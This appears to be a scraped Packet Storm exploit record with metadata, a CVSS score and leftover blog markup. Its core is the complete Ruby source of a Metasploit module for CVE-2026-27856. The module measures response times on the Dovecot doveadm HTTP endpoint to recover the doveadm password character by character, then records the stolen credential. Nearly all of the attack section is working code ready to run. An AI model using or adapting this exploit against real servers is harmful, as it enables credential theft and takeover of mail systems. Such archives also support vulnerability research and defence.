{“lastseen”:”2026-04-22T16:27:52″,”description”:”This Metasploit auxiliary module performs a timing-based side-channel attack against the Dovecot doveadm HTTP interface to extract credentials character by character…”,”published”:”2026-04-22T00:00:00″,”modified”:”2026-04-22T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Dovecot doveadm Timing Attack \/ Credential Extraction”,”source”:””,”references”:””,”id”:”PACKETSTORM:219554″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-27856″],”sourceData”:”==================================================================================================================================\\n | # Title : Dovecot doveadm Timing Attack Credential Extraction |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.4 (64 bits) |\\n | # Vendor : https:\/\/www.dovecotpro.com\/ |\\n ==================================================================================================================================\\n \\n [+] Summary : This Metasploit auxiliary module performs a timing-based side-channel attack against the Dovecot doveadm HTTP interface to extract credentials character by character.\\n \\n \\n [+] POC : \\n \\n ##\\n # This module requires Metasploit: https:\/\/metasploit.com\/download\\n # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n ##\\n \\n class MetasploitModule \\u003c Msf::Auxiliary\\n include Msf::Auxiliary::Report\\n include Msf::Exploit::Remote::HttpClient\\n include Msf::Auxiliary::Scanner\\n \\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘Dovecot doveadm Timing Attack Credential Extraction’,\\n ‘Description’ =\\u003e %q{\\n Timing-based credential analysis module.\\n },\\n ‘Author’ =\\u003e [\\n ‘indoushka’\\n ],\\n ‘References’ =\\u003e [\\n [‘CVE’, ‘2026-27856’]\\n ],\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘DisclosureDate’ =\\u003e ‘2026-03-27’\\n )\\n )\\n \\n register_options([\\n Opt::RPORT(8080),\\n OptString.new(‘TARGETURI’, [true, ‘doveadm endpoint’, ‘\/doveadm’]),\\n OptString.new(‘CHARSET’, [true, ‘Charset’, ‘abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789’]),\\n OptInt.new(‘MAX_LENGTH’, [true, ‘Max length’, 32]),\\n OptInt.new(‘SAMPLES’, [true, ‘Samples per char’, 10]),\\n OptInt.new(‘THRESHOLD’, [true, ‘Threshold ms’, 10])\\n ])\\n end\\n \\n def run_host(ip)\\n print_status(\\”Dovecot Timing Attack CVE-2026-27856\\”)\\n print_status(\\”Target: #{peer}\\”)\\n \\n credential = extract_credential_timing\\n \\n if credential.nil? || credential.empty?\\n print_error(\\”Extraction failed\\”)\\n return\\n end\\n \\n print_good(\\”Extracted credential: #{credential}\\”)\\n report_credential(credential)\\n end\\n \\n def extract_credential_timing\\n credential = \\”\\”\\n charset = datastore[‘CHARSET’].to_s.chars\\n \\n (1..datastore[‘MAX_LENGTH’]).each do |_pos|\\n best_char = nil\\n best_time = 0.0\\n \\n charset.each do |char|\\n test_cred = credential + char\\n times = []\\n \\n datastore[‘SAMPLES’].times do\\n start_time = Time.now\\n test_auth(test_cred)\\n finish_time = Time.now\\n times \\u003c\\u003c ((finish_time – start_time) * 1000.0)\\n end\\n \\n next if times.empty?\\n \\n avg_time = times.sum.to_f \/ times.length\\n vprint_status(\\”Testing ‘#{test_cred}’: #{avg_time.round(2)}ms\\”)\\n \\n if avg_time \\u003e best_time\\n best_time = avg_time\\n best_char = char\\n end\\n end\\n \\n break if best_char.nil?\\n \\n credential += best_char\\n print_status(\\”Progress: #{credential} (#{best_time.round(2)}ms)\\”)\\n \\n break if best_time \\u003c datastore[‘THRESHOLD’].to_f\\n end\\n \\n credential\\n end\\n \\n def test_auth(credential)\\n send_request_cgi({\\n ‘uri’ =\\u003e normalize_uri(datastore[‘TARGETURI’]),\\n ‘method’ =\\u003e ‘GET’,\\n ‘headers’ =\\u003e {\\n ‘Authorization’ =\\u003e \\”Basic #{Rex::Text.encode_base64(\\”doveadm:#{credential}\\”)}\\”\\n }\\n })\\n rescue ::Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::ConnectionError\\n nil\\n end\\n \\n def report_credential(credential)\\n service_data = {\\n address: rhost,\\n port: rport,\\n service_name: ‘doveadm’,\\n protocol: ‘tcp’,\\n workspace_id: myworkspace_id\\n }\\n \\n credential_data = {\\n origin_type: :service,\\n module_fullname: fullname,\\n username: ‘doveadm’,\\n private_data: credential,\\n private_type: :password\\n }.merge(service_data)\\n \\n create_credential(credential_data)\\n end\\n end\\n \\t\\n Greetings to :==============================================================================\\n jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n ============================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/219554″,”cvss”:{“score”:7.4,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:N\/AC:H\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:N”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/219554\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-04-22T16:27:52″,”description”:”This Metasploit auxiliary module performs a timing-based side-channel attack against the Dovecot doveadm HTTP interface to extract credentials character by character…”,”published”:”2026-04-22T00:00:00″,”modified”:”2026-04-22T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Dovecot doveadm Timing Attack…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,29,12,15,13,53,7,11,5],"class_list":["post-48739","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-74","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n